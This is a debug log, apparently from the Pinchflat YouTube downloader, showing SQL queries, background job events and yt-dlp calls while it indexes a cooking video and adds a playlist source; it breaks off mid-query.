[1] 20:48:27.648 [debug] QUERY OK source="media_items" db=0.6ms idle=7.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [59] 20:48:27.648 [info] Kicking off download for media item #59 (qKTJQwolUNg) 20:48:27.650 [debug] QUERY OK source="tasks" db=0.1ms queue=0.1ms idle=4.0ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [62, 59, ~U[2026-03-28 00:48:27Z], ~U[2026-03-28 00:48:27Z]] 20:48:27.651 [debug] Current batch of media processed. Will check again in 1000ms 20:48:28.572 [info] {"source":"oban","duration":480,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:48:28.651 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Josh is cooking Andrew Rea's last meal.\n\nCheck out Andrew's channel - @bingingwithbabish \n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Andrew's Last Meal Menu\n0:55 Josh's Face Tattoo of Andrew\n1:15 Have You Thought About Your Last Meal Before?\n2:47 1st Course - Eggs, Corned Beef Hash, Toast, & Coffee\n3:45 République Breakfast Memories\n5:06 Fresh Hot Food Magic\n5:58 A Perfect Summary Of Andrew's Career\n7:21 Rapidfire Meditation\n8:50 Mania During A Livestream\n10:20 Going To A Psych Ward\n12:33 Starting From Scratch & Opening Up\n13:27 2nd Course - Bourbon, Pasta, & Chicken Parm\n15:23 Reddit's Response & Support\n16:38 Being Open On The Internet\n17:05 Josh's Heartfelt Email\n19:17 3rd Course - Sashimi, Nigiri, & Hand Rolls\n20:11 How To Be Happy\n22:18 Starting The Binging With Babish Channel\n23:44 4th Course - Maple Syrup On Snow & Crepe Chips\n24:18 Sugar Shacks In Canada\n27:00 Dealing With Loss\n29:30 Josh's Experience With Death\n30:43 Messing Up In The Kitchen\n31:52 Lightning Round— Who Would You Want To Share Your Actual Last Meal With?\n32:34 What Song Do You Want Played At Your Funeral?\n32:55 What's Your Biggest Fear?\n33:11 What's Your Greatest Regret In Life?\n33:38 Are You Happy? \n34:48 Andrew's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN" <> ..., "duration" => 2136, "filename" => "/downloads/Last Meals/2023-11-21 Binging With Babish Eats His Last Meal/Binging With Babish Eats His Last Meal [eKVkQqFeTsQ].mp4", "id" => "eKVkQqFeTsQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=eKVkQqFeTsQ", "playlist_index" => 60, "timestamp" => 1700564436, "title" => "Binging With Babish Eats His Last Meal", "upload_date" => "20231121"} 20:48:28.652 [debug] QUERY OK source="sources" db=0.1ms idle=1002.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:48:28.652 [debug] QUERY OK source="sources" db=0.0ms idle=1002.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:28.652 [debug] QUERY OK source="media_items" db=0.1ms idle=1001.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-11-21 11:00:36Z], 1] 20:48:28.653 [debug] QUERY OK source="media_items" db=0.7ms idle=542.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Josh is cooking Andrew Rea's last meal.\n\nCheck out Andrew's channel - @bingingwithbabish \n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Andrew's Last Meal Menu\n0:55 Josh's Face Tattoo of Andrew\n1:15 Have You Thought About Your Last Meal Before?\n2:47 1st Course - Eggs, Corned Beef Hash, Toast, & Coffee\n3:45 République Breakfast Memories\n5:06 Fresh Hot Food Magic\n5:58 A Perfect Summary Of Andrew's Career\n7:21 Rapidfire Meditation\n8:50 Mania During A Livestream\n10:20 Going To A Psych Ward\n12:33 Starting From Scratch & Opening Up\n13:27 2nd Course - Bourbon, Pasta, & Chicken Parm\n15:23 Reddit's Response & Support\n16:38 Being Open On The Internet\n17:05 Josh's Heartfelt Email\n19:17 3rd Course - Sashimi, Nigiri, & Hand Rolls\n20:11 How To Be Happy\n22:18 Starting The Binging With Babish Channel\n23:44 4th Course - Maple Syrup On Snow & Crepe Chips\n24:18 Sugar Shacks In Canada\n27:00 Dealing With Loss\n29:30 Josh's Experience With Death\n30:43 Messing Up In The Kitchen\n31:52 Lightning Round— Who Would You Want To Share Your Actual Last Meal With?\n32:34 What Song Do You Want Played At Your Funeral?\n32:55 What's Your Biggest Fear?\n33:11 What's Your Greatest Regret In Life?\n33:38 Are You Happy? \n34:48 Andrew's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN" <> ..., "Binging With Babish Eats His Last Meal", "5f388985-c015-46ba-953b-1ffa0388d1ca", "https://www.youtube.com/watch?v=eKVkQqFeTsQ", false, "eKVkQqFeTsQ", 2136, false, 60, "/downloads/Last Meals/2023-11-21 Binging With Babish Eats His Last Meal/Binging With Babish Eats His Last Meal [eKVkQqFeTsQ].mp4", false, false, 1, [], 0, ~U[2023-11-21 11:00:36Z], ~U[2026-03-28 00:48:28Z], ~U[2026-03-28 00:48:28Z], "Today, Josh is cooking Andrew Rea's last meal.\n\nCheck out Andrew's channel - @bingingwithbabish \n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Andrew's Last Meal Menu\n0:55 Josh's Face Tattoo of Andrew\n1:15 Have You Thought About Your Last Meal Before?\n2:47 1st Course - Eggs, Corned Beef Hash, Toast, & Coffee\n3:45 République Breakfast Memories\n5:06 Fresh Hot Food Magic\n5:58 A Perfect Summary Of Andrew's Career\n7:21 Rapidfire Meditation\n8:50 Mania During A Livestream\n10:20 Going To A Psych Ward\n12:33 Starting From Scratch & Opening Up\n13:27 2nd Course - Bourbon, Pasta, & Chicken Parm\n15:23 Reddit's Response & Support\n16:38 Being Open On The Internet\n17:05 Josh's Heartfelt Email\n19:17 3rd Course - Sashimi, Nigiri, & Hand Rolls\n20:11 How To Be Happy\n22:18 Starting The Binging With Babish Channel\n23:44 4th Course - Maple Syrup On Snow & Crepe Chips\n24:18 Sugar Shacks In Canada\n27:00 Dealing With Loss\n29:30 Josh's Experience With Death\n30:43 Messing Up In The Kitchen\n31:52 Lightning Round— Who Would You Want To Share Your Actual Last Meal With?\n32:34 What Song Do You Want Played At Your Funeral?\n32:55 What's Your Biggest Fear?\n33:11 What's Your Greatest Regret In Life?\n33:38 Are You Happy? \n34:48 Andrew's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: (truncated) 20:48:28.653 [debug] QUERY OK source="sources" db=0.0ms idle=81.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:28.654 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:48:28.654 [debug] QUERY OK source="media_items" db=0.1ms idle=1.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [60] 20:48:28.654 [info] Kicking off download for media item #60 (eKVkQqFeTsQ) 20:48:28.655 [debug] QUERY OK source="tasks" db=0.0ms idle=1.0ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [63, 60, ~U[2026-03-28 00:48:28Z], ~U[2026-03-28 00:48:28Z]] 20:48:28.655 [debug] Current batch of media processed. Will check again in 1000ms 20:48:29.655 [debug] Current batch of media processed. Will check again in 1000ms 20:48:29.682 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PLHovnlOusNLgvAbnxluXCVB3KLj8e4QB- --simulate --skip-download --ignore-no-formats-error --playlist-end 1 --print-to-file %(.{channel,channel_id,playlist_id,playlist_title,filename})j /tmp/pinchflat/data/71/8c/718c6be5fe9d4e0a58f956bab5bd8643a4db2dbe4cfefe0cf84b3335a5aa88be.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 20:48:29.682 [debug] QUERY OK source="sources" db=0.1ms idle=1028.1ms INSERT INTO "sources" ("enabled","uuid","original_url","download_media","media_profile_id","custom_name","collection_id","collection_name","collection_type","fast_index","index_frequency_minutes","cookie_behaviour","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14) RETURNING "id" [true, "2205c7cc-1e1a-42a5-8ffa-8d340f317264", "https://www.youtube.com/playlist?list=PLHovnlOusNLgvAbnxluXCVB3KLj8e4QB-", true, 1, "TADC", "PLHovnlOusNLgvAbnxluXCVB3KLj8e4QB-", "The Amazing Digital Circus", :playlist, false, 1440, :disabled, ~U[2026-03-28 00:48:29Z], ~U[2026-03-28 00:48:29Z]] 20:48:29.683 [debug] QUERY OK source="tasks" db=0.1ms idle=1028.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."worker" LIKE ?) AND (o1."state" IN (?,?,?,?)) [2, "%.MediaCollectionIndexingWorker", "available", "scheduled", "retryable", "executing"] 20:48:29.683 [debug] QUERY OK source="tasks" db=0.0ms idle=572.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [64, 2, ~U[2026-03-28 00:48:29Z], ~U[2026-03-28 00:48:29Z]] 20:48:29.684 [debug] QUERY OK source="tasks" db=0.0ms idle=0.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [65, 2, ~U[2026-03-28 00:48:29Z], ~U[2026-03-28 00:48:29Z]] 20:48:29.684 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:29.684 [info] Sent 302 in 3300ms 20:48:29.689 [info] {"args":{"id":2},"id":65,"meta":{},"system_time":1774658909689675129,"max_attempts":3,"queue":"remote_metadata","worker":"Pinchflat.Metadata.SourceMetadataStorageWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","source_metadata","remote_metadata","show_in_dashboard"]} 20:48:29.689 [debug] QUERY OK source="sources" db=0.0ms idle=6.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:48:29.690 [debug] QUERY OK source="media_profiles" db=0.0ms idle=6.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:48:29.690 [debug] QUERY OK source="source_metadata" db=0.0ms idle=5.9ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [2] 20:48:29.690 [debug] Running yt-dlp command for action: get_source_details 20:48:29.690 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:29.690 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:29.690 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:29.690 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PLHovnlOusNLgvAbnxluXCVB3KLj8e4QB- --simulate --skip-download --ignore-no-formats-error --playlist-end 1 --output /downloads/TADC/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file %(.{channel,channel_id,playlist_id,playlist_title,filename})j /tmp/pinchflat/data/cf/99/cf9952b6e72d12e1a3da5bfa73c7135d3e93193fd962a1bc983f85ca2f9fc54a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:48:29.692 [info] GET /sources/2 20:48:29.692 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 20:48:29.692 [debug] QUERY OK source="sources" db=0.0ms idle=2.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:48:29.692 [debug] QUERY OK source="media_profiles" db=0.0ms idle=2.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:48:29.692 [debug] QUERY OK source="tasks" db=0.0ms idle=2.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [2, "executing", "available", "scheduled", "retryable"] 20:48:29.693 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=2.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [65, 64] 20:48:29.693 [debug] QUERY OK source="settings" db=0.0ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:29.693 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:29.693 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:29.693 [debug] QUERY OK source="sources" db=0.0ms idle=0.9ms SELECT s0."id", 